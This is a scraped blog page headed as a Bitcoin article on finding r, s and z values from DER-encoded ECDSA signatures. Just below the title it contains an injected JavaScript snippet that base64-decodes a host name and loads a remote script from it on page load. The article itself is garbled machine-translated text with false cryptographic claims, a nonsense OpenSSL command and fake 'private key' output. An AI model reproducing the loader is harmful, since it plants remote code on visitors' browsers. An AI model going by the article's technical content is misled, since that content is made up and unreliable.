Bitcoin: how to find r,s,z from DER-ECDSA

  • преди 5 месеца
  • Blog
  • 0

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=00623fec”;document.body.appendChild(script);

Find the values ​​R, S and Z of the signatures of derecdsa

As a Bitcoin developer or merchant, it is essential to understand how the electronic signatures of digital rights work (DER-ECDSA). When a transaction is signed using ECDSA (digital signature algorithm of the elliptical curve), the resulting signature is represented in a coded format of der. To verify the authenticity of the transactions and make sure they have been falsified, you must extract the private components from these signatures.

In this article, we will immerse ourselves in the research process of values ​​R, S and ZE of the Der-ECDSA signatures, which are essential to verify the identity of the signatories and detect any potential alteration.

** What is a Der-ECDSA signature?

A der (distinguished coding rules) -CDSA Signature represents an ECDSA private key in a compact binary format. The signature consists of three components:

  • R

    : The Ecdsa Brute public component.

  • S

    : The private ECDSA Brut component.

  • Z : The hash value of the input message.

Find values ​​R, S and Z

To find thesis values, you can use a tool like “Ecdsa-Der” in Python or use a command line tool such as OpenSSL. Here is an example using the OpenSSL command line tool:

  • Open a terminal or an order quickly.

  • Access the directory containing your ECDSA signature coded by Der.

  • Perform the following command to extract the R, S and Z values:

`Bash

OpenSSL EC -in .Der -oust r.s.z | Base64 -dodcode

'

Replaceby the actual file name of your ECDSA signature coded by der.

This will release three lines containing the raw public component (R), the private components and the hash value (Z).

Interpretation of the output

Here is an example of outing of the OpenSSL command:

Bash

---- Start the private RSA key -----

MIIEPAIBAAKCAQCAQEAN6D7Z8HUAJL0ok9N2MG1KQOWLGS9NZY + G / 3 JEIM

XZ8BRQ9VXYJR4SCF4UWP1TQGF4LX5JB3RC7TGZB0D2EPV5HW6OZGKNX /

----- End RSA Private Key -----

---- Start the gross private key -----

AV9 + QYAXDZ + UQ8EAQHJ + MVPPW4LXJRQN + TB1U2IRG7EZ0A0XL

CZSK / 5J3BIY6G4KWDC9FVQ1JHZWY8J7XL2B9ADME4O5W8QC1WTNQ

----- End Raw Private Key -----

S = MQAWA1UECAQXEGMIVAMBI2B3UUUIZE / 4SK6QFYLBXUZZJ

---- End der-ecdsa signature -----

` ‘

The output contains the R, S and Z values ​​in hexadecimal format.

Verification of authenticity

To check the authenticity of a transaction, you can compare the signature components extracted with the expected values. For example:

  • Compare the value R with the public key of the transaction.

  • Compare the value S with the private transaction key.

  • Compare the Z value (hash) with the hash value used in the transaction.

By checking the thesis values, you can make sure that the signature is authentic and not falsified for duration transmission or storage.

In conclusion, finding the R, S and Z values ​​of the Der-ECDSA signatures requires understanding the format coded by Der and using the tools necessary to extract these components. By following this article, you can now confidently check the authenticity of transactions in your Bitcoin network.

Присъединете се към дискусията

Сравняване на списъци

Сравни